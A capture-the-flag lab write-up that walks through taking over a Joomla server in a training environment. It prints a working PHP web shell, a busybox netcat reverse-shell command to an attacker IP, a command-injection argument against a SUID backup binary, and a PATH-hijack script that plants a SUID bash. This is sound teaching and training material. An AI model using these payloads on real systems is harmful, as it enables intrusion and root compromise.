> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/samurai.md).

# Samurai

{% embed url="<https://www.hacksmarter.org/courses/3b3f3073-3242-4aee-9bcd-0fb058ce4e13>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

As part of a penetration test, your team identified an interesting web server. Your task is to enumerate the target, establish an initial foothold, and escalate privileges to root.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

You have been provisioned VPN access to the client environment. No initial credentials are provided.

## Summary

<details>

<summary>Summary</summary>

In Samurai, we begin with external enumeration and discover a web server on port `80` alongside SSH on port `22`, then use directory brute forcing to uncover a Joomla administrator panel at `/administrator`. Fingerprinting the CMS reveals version `4.2.5`, which is vulnerable to `CVE-2023-23752`, allowing unauthenticated access to sensitive API endpoints. Exploiting this flaw, we extract valid credentials for the user `Miyamoto` and successfully authenticate into the Joomla admin panel. From there, we abuse template editing functionality to inject a PHP web shell, gaining a reverse shell as `www-data`.

For privilege escalation, we identify a SUID backup utility `/opt/backup/DbMaria` that wraps `mariadb-dump` with root privileges. Static analysis of the binary reveals unsafe command construction, enabling command injection via crafted arguments to spawn a `root` shell using `bash -p`. As an alternative path, we also identify a PATH hijacking opportunity by exploiting the relative `mariadb-dump` call, allowing us to place a malicious binary earlier in the execution path and trigger SUID execution.&#x20;

</details>

## Recon

We use `rustscan -b 500 -a samurai.hsm --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" %}

```
rustscan -b 500 -a samurai.hsm --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/dCetp5wVbWLDT6cAD1G2" alt=""><figcaption></figcaption></figure>

We identify a web server running on port `80`, along with an SSH service exposed on port `22`.

<figure><img src="/files/2yzN1AANvrR4tL7IA3VD" alt=""><figcaption></figcaption></figure>

We first visit the site using our browser, but at first glance, we can only see a static web page. We proceed with a directory scan.

{% code overflow="wrap" expandable="true" %}

```
http://samurai.hsm/
```

{% endcode %}

<figure><img src="/files/qD7QRMtxYz9YHeww4hBr" alt=""><figcaption></figcaption></figure>

By running a directory scan with Feroxbuster, we can identify some interesting directories. In particular, `/administrator/`.

{% code overflow="wrap" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u 'http://samurai.hsm'
```

{% endcode %}

<figure><img src="/files/CVPw1YwXO7O2Eh7nYPl3" alt=""><figcaption></figcaption></figure>

We visit the admin page and see the Joomla login screen. So we are dealing with the Joomla CMS.

{% code overflow="wrap" %}

```
http://samurai.hsm/administrator/
```

{% endcode %}

<figure><img src="/files/SKOUO823yyzyuXmhX6nk" alt=""><figcaption></figcaption></figure>

Next, we'll use Joomscan to identify the version, publicly available information, and potential  vulnerabilities. We are dealing with version `4.2.5`.

{% code overflow="wrap" %}

```
joomscan -u http://samurai.hsm/
```

{% endcode %}

<figure><img src="/files/lRDlfZxC4gTfLr23Q2S7" alt=""><figcaption></figcaption></figure>

## Access as Miyamoto

After some research, we also find a vulnerability related to this version: `CVE-2023-23752`

CVE-2023-23752 is an improper access control flaw in Joomla 4.0.0–4.2.7 that allows unauthenticated users to access restricted webservice endpoints and leak sensitive configuration data:

> An issue was discovered in Joomla! 4.0.0 through 4.2.7. An improper access check allows unauthorized access to webservice endpoints.

{% code overflow="wrap" %}

```
CVE-2023-23752
```

{% endcode %}

We can use the following explpoit from exploit-db.

{% code overflow="wrap" %}

```
https://www.exploit-db.com/exploits/51334
```

{% endcode %}

<figure><img src="/files/HsVLsW8bE2vGApZKPwfr" alt=""><figcaption></figcaption></figure>

We run the exploit and identify the user `Miyamoto` and a DB password.

{% code overflow="wrap" %}

```
ruby CVE-2023-23752.rb http://samurai.hsm
```

{% endcode %}

<figure><img src="/files/5Cs6mgaO3b7cfk4jC2t3" alt=""><figcaption></figcaption></figure>

Next, we head back to the log in page and try those credentials found.&#x20;

{% code overflow="wrap" %}

```
http://samurai.hsm/administrator
```

{% endcode %}

<figure><img src="/files/O89YDnK6kBKNeeIlonPx" alt=""><figcaption></figcaption></figure>

We are able to log in and with that we have administrator privileges.&#x20;

{% code overflow="wrap" %}

```
http://samurai.hsm/administrator/index.php
```

{% endcode %}

<figure><img src="/files/FiM8dDUOarSnmXrJomYG" alt=""><figcaption></figcaption></figure>

## Shell as www-data

This allows us to place a reverse or web shell in one of the templates. We use the following guide:

{% embed url="<https://vk9-sec.com/exploitation-reverse-shell-joomla/>" %}

First we head to System->Templates->Administrator Templates.

{% code overflow="wrap" %}

```
http://samurai.hsm/administrator/index.php?option=com_templates&view=templates&client_id=1
```

{% endcode %}

<figure><img src="/files/mBxwgySCYViiG292tXqy" alt=""><figcaption></figcaption></figure>

There we select a template we want to edit and open the index page. There we place the following web shell.

{% code overflow="wrap" %}

```
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>
```

{% endcode %}

<figure><img src="/files/5oB0DUDPFqBlrITZNO89" alt=""><figcaption></figcaption></figure>

We can call it like the following.

{% code overflow="wrap" %}

```
http://samurai.hsm/administrator/?cmd=id
```

{% endcode %}

<figure><img src="/files/dZAAyZIo5RTNnMToNobt" alt=""><figcaption></figcaption></figure>

Next, we prepare a listener for our reverse shell.

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" %}

```
penelope -p 4445
```

{% endcode %}

We issue a reverse shell (logged in as Miyamoto) using busybox...

{% code overflow="wrap" %}

```
http://samurai.hsm/administrator/?cmd=busybox nc 10.200.46.3 4445 -e /bin/bash
```

{% endcode %}

<figure><img src="/files/NFLvkSLVW27DgIuM25nw" alt=""><figcaption></figcaption></figure>

... and receive a connection. We are `www-data` and find the user flag at `/var/www/user.txt`.

<figure><img src="/files/yeyKzyvgn6C8lGXFlaVi" alt=""><figcaption></figcaption></figure>

## Shell as root

As `www-data` we are allow to run the `/opt/backup/DbMaria` as `root` using `sudo`.

{% code overflow="wrap" %}

```
sudo -l
```

{% endcode %}

<figure><img src="/files/AxGSOJpiwpjlx2bmpGf7" alt=""><figcaption></figcaption></figure>

Next, we analyzed the executable in more detail. We begin with `strings` to extract readable character sequences and gain insight into its functionality. If this proved insufficient, the next step would be to decompile the binary using Ghidra or Binary Ninja.

{% code overflow="wrap" %}

```
strings /opt/backup/DbMaria
```

{% endcode %}

<figure><img src="/files/c38rnOdffr8QRfPbH84X" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
www-data@streetcoder:/var/www$ strings /opt/backup/DbMaria | head -50
/lib64/ld-linux-x86-64.so.2
__cxa_finalize
__libc_start_main
system
setuid
snprintf
__stack_chk_fail
libc.so.6
GLIBC_2.2.5
GLIBC_2.4
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
Usage: %s <database>
mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.3) 11.4.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
DbMaria.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
_edata
_fini
__stack_chk_fail@GLIBC_2.4
system@GLIBC_2.2.5
snprintf@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
__TMC_END__
_ITM_registerTMCloneTable
```

{% endcode %}

### via Command Injection

Here we can see the following line:

{% code overflow="wrap" expandable="true" %}

```
mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql
```

{% endcode %}

We assume, that the line is executed via `system()`. We try to abuse this by injecting a simple command that spawns `bash` with the `-p` flag, allowing it to preserve the effective privileges of the owner and potentially grant us a root shell.

A `root` shell is spawned and we find the final flag at `/root/root.txt`.

{% code overflow="wrap" expandable="true" %}

```
sudo /opt/backup/DbMaria 'test; /bin/bash -p #'
```

{% endcode %}

<figure><img src="/files/neGQ6FCR1Pmhn7wObzPO" alt=""><figcaption></figcaption></figure>

### via PATH Hijacking

We can see that the `mariadb-dump` application is not called using an absolute path, but a relative one. The idea is to modify the environment variable so that the system first checks a directory for the executable that contains a malicious one.

{% code overflow="wrap" expandable="true" %}

```
mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
mariadb-dump 
```

{% endcode %}

We create a malicious `mariadb-dump` executable in `/tmp/mariadb-dump` and make it executable.

{% code title="/tmp/mariadb-dump" overflow="wrap" lineNumbers="true" expandable="true" %}

```
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +xs /tmp/bash
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
chmod +x /tmp/mariadb-dump
```

{% endcode %}

<figure><img src="/files/lgo4N4wS4xnzNpLUcQXy" alt=""><figcaption></figcaption></figure>

Unfortunatley we can perform a PATH Hijack using sudo because of the set secure path option \
(`sudo -l`) that can't be manipulated:

{% code overflow="wrap" expandable="true" %}

```
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
```

{% endcode %}

But since it is a SUID binary, sudo is not required.

{% code overflow="wrap" expandable="true" %}

```
ls -lah /opt/backup/DbMaria
```

{% endcode %}

<figure><img src="/files/dXP7KX5yqi8ggjs2LYLK" alt=""><figcaption></figcaption></figure>

We create an example file to import

{% code overflow="wrap" expandable="true" %}

```
touch /tmp/test
```

{% endcode %}

Manipulate the `PATH` variable so it also includes the `/tmp` directory.

{% code overflow="wrap" expandable="true" %}

```
export PATH=/tmp:$PATH
```

{% endcode %}

<figure><img src="/files/bhAlGG9tebYJ7SJ6Uhnz" alt=""><figcaption></figcaption></figure>

Next, we run the executable `/opt/backup/DbMaria` and see a SUID bash binary created in `/tmp`.

{% code overflow="wrap" expandable="true" %}

```
/opt/backup/DbMaria /tmp/test
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
ls -lah /tmp/bash
```

{% endcode %}

<figure><img src="/files/uFsxApRycHx5IEHMURIR" alt=""><figcaption></figcaption></figure>

We run it and get a `root` shell:&#x20;

{% code overflow="wrap" expandable="true" %}

```
/tmp/bash -p
```

{% endcode %}

<figure><img src="/files/GPj5GUAV8pTWppI1jS9h" alt=""><figcaption></figcaption></figure>
